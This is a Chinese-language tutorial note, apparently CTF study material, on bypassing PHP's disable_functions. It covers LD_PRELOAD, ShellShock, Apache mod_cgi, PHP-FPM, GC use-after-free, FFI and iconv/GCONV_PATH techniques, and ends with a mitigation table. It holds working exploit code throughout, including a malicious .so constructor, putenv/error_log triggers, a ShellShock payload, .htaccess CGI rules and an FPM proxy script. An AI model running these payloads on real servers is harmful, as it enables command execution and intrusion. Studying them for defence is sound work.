← 返回主页
NOTE

disable_functions 绕过

整理 PHP disable_functions 限制、绕过场景与加固关注点。

1. disable_functions 简介

disable_functions 是 PHP 配置文件(php.ini)中的一个安全选项,用于禁用被认为具有潜在危险的内置 PHP 函数,例如 exec()system()passthru()eval() 等,以防止恶意用户执行任意系统命令或代码。

2. 利用 LD_PRELOAD 环境变量绕过

2.1 LD_PRELOAD 机制简介

LD_PRELOAD 是 Linux 系统中的环境变量,允许用户在程序运行前优先加载指定的动态链接库(.so 文件)。通过控制该变量,攻击者可劫持正常的函数调用,实现任意代码执行。

参考阅读LD_PRELOAD 使用详解

2.2 利用条件与步骤

  1. 确认可用函数
    通过 phpinfo() 查看已被禁用的函数,并寻找仍可用的、能启动子进程的函数(如 mail()error_log()imagemagick() 等)。下例中 mail() 被禁用,但 error_log() 仍可用:

    phpinfo 截图示例

  2. 编写恶意动态库
    使用 C 语言编写包含自动执行构造函数的动态库,例如:

    #include <stdlib.h>
    
    __attribute__((constructor)) void init() {
        unsetenv("LD_PRELOAD");
        system("tac /flag >> /var/www/html/flag.txt");
    }
    

    编译生成 .so 文件:

    gcc -shared -fPIC test.c -o test.so
    
  3. 上传并触发
    将编译好的 test.so 上传至目标服务器,并创建 PHP 脚本设置环境变量并触发:

    <?php
    putenv("LD_PRELOAD=/var/www/html/test.so");
    error_log("", 1, "", ""); // 触发子进程执行
    ?>
    
  4. 包含该脚本以执行命令。


3. ShellShock(Bash破壳)漏洞利用

3.1 ShellShock 简介

ShellShock 是 2014 年发现的一个高危漏洞,其核心问题在于 Bash 无法分清函数定义的边界。当设置恶意环境变量后,打开子 Shell 时会重新加载环境变量,遇到恶意环境变量会将其当做函数定义来处理,同时会把函数定义之后的字符串当做命令来执行,从而实现任意命令执行。

判断是否存在此漏洞

env x='() { :; }; echo ShellShock' bash -c "echo hello"

若输出中包含 “ShellShock”,则说明存在漏洞。

3.2 漏洞利用步骤

  1. 确认可用的函数和环境变量(通过 phpinfo()
    观察到支持的环境变量必须以 PHP_ 开头,函数方面 error_log 可以使用。

  2. 编写恶意脚本

    <?php
    putenv("PHP_x=() { :; }; tac /flag >> /var/www/html/test"); // 恶意环境变量
    error_log("", 1, "", ""); // 调用函数以加载环境变量触发恶意指令的执行
    ?>
    
  3. 调用脚本执行恶意代码。


4. Apache Mod CGI 利用

4.1 绕过原理

CGI(Common Gateway Interface,公共网关接口)运行 CGI 脚本时直接被解释器运行,可以直接创建 CGI Shell 脚本实现远程命令执行。

4.2 利用步骤

  1. 确保服务器启动 CGI 支持
    上传 .htaccess.bak 文件:

    SetEnv HTACCESS on
    

    启动 .htaccess 文件支持,再上传 .htaccess 文件:

    Options +ExecCGI
    AddHandler cgi-script .ant
    

    .ant 文件开启 CGI 脚本支持。

  2. 远程执行恶意脚本。


5. PHP-FPM 未授权访问与利用

5.1 原理

一般情况下无法直接与 PHP-FPM 通信,但在存在 WebShell 的情况下,可以构建恶意脚本直接与 FPM 通信,让输入的脚本与解释器交互,从而绕过 disable_functions

参考文章Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌

5.2 利用方法

可以使用蚁剑的 disable_function 插件生成代理脚本(如下所示),它会构造一个恶意请求发送给 FPM。FPM 收到请求后发现 Content-Type 为 PHP 脚本,会直接将其作为 PHP 脚本执行,从而绕过 disable_functions

<?php
function get_client_header(){
    $headers = array();
    foreach($_SERVER as $k => $v){
        if(strpos($k, 'HTTP_') === 0){
            $k = strtolower(preg_replace('/^HTTP/', '', $k));
            $k = preg_replace_callback('/_\w/', 'header_callback', $k);
            $k = preg_replace('/^_/', '', $k);
            $k = str_replace('_', '-', $k);
            if($k == 'Host') continue;
            $headers[] = "$k:$v";
        }
    }
    return $headers;
}

function header_callback($str){
    return strtoupper($str[0]);
}

function parseHeader($sResponse){
    list($headerstr, $sResponse) = explode("\r\n\r\n", $sResponse, 2);
    $ret = array($headerstr, $sResponse);
    if(preg_match('/^HTTP\/1\.1 \d{3}/', $sResponse)){
        $ret = parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers = get_client_header();
$host = "127.0.0.1";
$port = 60144;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?" . $_SERVER['QUERY_STRING'];
}

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method . " " . $url . " HTTP/1.1\r\n";
$out .= "Host: " . $host . ":" . $port . "\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: " . $_SERVER['CONTENT_TYPE'] . "\r\n";
}
$out .= "Content-length:" . strlen($post_data) . "\r\n";

$out .= implode("\r\n", $headers);
$out .= "\r\n\r\n";
$out .= "" . $post_data;

fputs($fp, $out);

$response = '';
while($row = fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos + 4);
echo $response;
?>

6. GC UAF 漏洞

UAF(Use After Free)是一种与 PHP 垃圾回收机制(GC)相关的溢出漏洞。一些对象可能会在被 GC 回收后再次悬空指针,而此时悬空指针可能已经被攻击者填充了启动攻击代码的函数指针,帮助攻击者绕过 disable_functions 实现任意代码执行。

漏洞链接PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors

攻击脚本exploits/php7-gc-bypass/exploit.php at master · mm0r1/exploits

6.1 Json Serializer UAF

漏洞链接PHP :: Bug #77843 :: Use after free with json serializer

攻击脚本exploits/php-json-bypass/exploit.php at master · mm0r1/exploits

6.2 Backtrace UAF

漏洞链接PHP :: Bug #76047 :: Use-after-free when accessing already destructed backtrace arguments

攻击脚本exploits/php7-backtrace-bypass/exploit.php at master · mm0r1/exploits


6.3 其他 UAF 漏洞

mm0r1/exploits: Pwn stuff.

6.4 脚本解析

TODO:等熟悉溢出漏洞之后再说

7. FFI 扩展利用

原理

当 PHP 启用了 FFI(Foreign Function Interface)扩展时,可直接调用 C 语言函数执行系统命令。

主要以下三个基本用法:

  1. FFI::cdef():直接定义 C 函数和数据结构。
  2. FFI::load():从 C 头文件加载定义。
  3. FFI::scope():加载预定义的作用域。

主要是使用 FFI::cdef() 函数来绕过 disable_functions


漏洞利用流程

编写以下攻击脚本并触发:

<?php
$ffi = FFI::cdef(
    "int system(const char* command);",
    "libc.so.6" // Windows 系统下为 msvcrt.dll
);
$command = "tac /flag >> /var/www/html/hack";
$result = $ffi->system($command);
echo $result;
?>

使用的是 C 语言中的 system 函数,自然可以绕过 disable_functions

8. iconv 字符转换扩展利用

原理

iconv 是 PHP 的编码转换模块,它可以实现两个编码之间的转换。转换的规则由 GCONV_PATH 环境变量下的 gconv-modules 配置文件决定。在这个配置文件中,编码名称、转换所要用到的共享库都可以自定义。因此,在可以随意控制环境变量的情况下,可以通过恶意共享库注入实现任意命令的执行。


漏洞利用流程

  1. 获取攻击动态库(用之前环境变量绕过的 test.so 即可)。

  2. 创建 gconv-modules 配置文件,包含以下内容:

    module  PAYLOAD//    INTERNAL    ./test    2
    module  INTERNAL    PAYLOAD//    ./test    2
    
  3. 编写攻击脚本:

    <?php
    putenv("GCONV_PATH=/var/www/html");
    iconv("PAYLOAD", "utf-8", "hello world");
    ?>
    
  4. 触发攻击脚本。

注意iconv()iconv_strlen()stream_filter_append 中使用 convert.iconv.* 过滤器等函数都能触发这个漏洞。

特例

通过创建流过滤器触发此漏洞,其他步骤不变,只需要改变攻击脚本即可:

<?php
putenv("GCONV_PATH=/tmp/");
// 使用 file_get_contents 直接触发
// 读取 resource 时,会先经过我们指定的转换过滤器
$content = file_get_contents('php://filter/read=convert.iconv.PAYLOAD.UTF-8/resource=./index.php');  
?>

9. 防护建议

攻击手法防护措施
LD_PRELOAD禁用不必要的函数(如 error_log)、使用 PHP 扩展进行更严格的子进程控制
ShellShock升级 Bash 版本、避免在 PHP 中调用 Shell
Mod CGI限制 CGI 脚本执行权限、避免目录权限过大
PHP-FPM配置监听权限为本地、设置访问控制列表(ACL)
UAF 漏洞及时更新 PHP 版本、禁用危险扩展(如 Json)
FFI非必要不启用 FFI 扩展、限制可调用的库函数
iconv更新至最新版本、避免处理不可信输入

通用建议:定期更新 PHP 版本和使用安全扩展(如 suhosin),最小化 PHP 环境的功能,遵循权限最小化原则。


总结

绕过 disable_functions 的手法多样,本质上是利用 PHP 与系统交互过程中的各类接口和漏洞。防护需从系统权限、PHP 配置、扩展管理等多层面入手,构建纵深防御体系。